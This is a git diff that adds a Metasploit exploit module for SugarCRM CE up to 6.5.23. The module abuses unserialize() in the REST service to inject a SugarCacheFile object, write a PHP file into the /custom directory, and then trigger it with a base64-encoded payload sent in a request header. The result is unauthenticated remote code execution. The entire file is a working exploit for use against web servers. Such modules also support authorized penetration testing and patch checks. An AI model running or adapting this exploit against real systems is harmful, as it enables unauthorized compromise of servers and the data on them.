diff --git a/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb new file mode 100644 index 0000000000..501c736e80 --- /dev/null +++ b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SugarCRM REST Unserialize PHP Code Execution', + 'Description' => %q{ + This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23 + which could be abused to allow unauthenticated users to execute arbitrary PHP code with + the permissions of the webserver. The dangerous unserialize() call exists in the + '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct() + method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory. + }, + 'Author' => 'EgiX', + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://karmainsecurity.com/KIS-2016-07'], + ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'], + ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'], + ['URL', 'https://bugs.php.net/bug.php?id=72663'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 23 2016' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]) + ], self.class) + end + + def exploit + upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php' + + payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";" + payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00" + payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55" + payload_serialized << ":\"\";}}" + + print_status("#{peer} - Exploiting the unserialize() to upload PHP code") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'), + 'method' => 'POST', + 'vars_post' => { + 'method' => 'login', + 'input_type' => 'Serialize', + 'rest_data' => payload_serialized + } + }) + + unless res + print_error('Connection timed out while sending a request to rest.php') + return + end + + if res && res.code != 200 + print_error("#{peer} - Exploit failed: #{res.code}") + return + end + + register_files_for_cleanup(File.basename(upload_php)) + + print_status("#{peer} - Executing the payload #{upload_php}") + + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, upload_php), + 'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) } + }) + + if res && res.code != 200 + print_error("#{peer} - Payload execution failed: #{res.code}") + return + end + end +end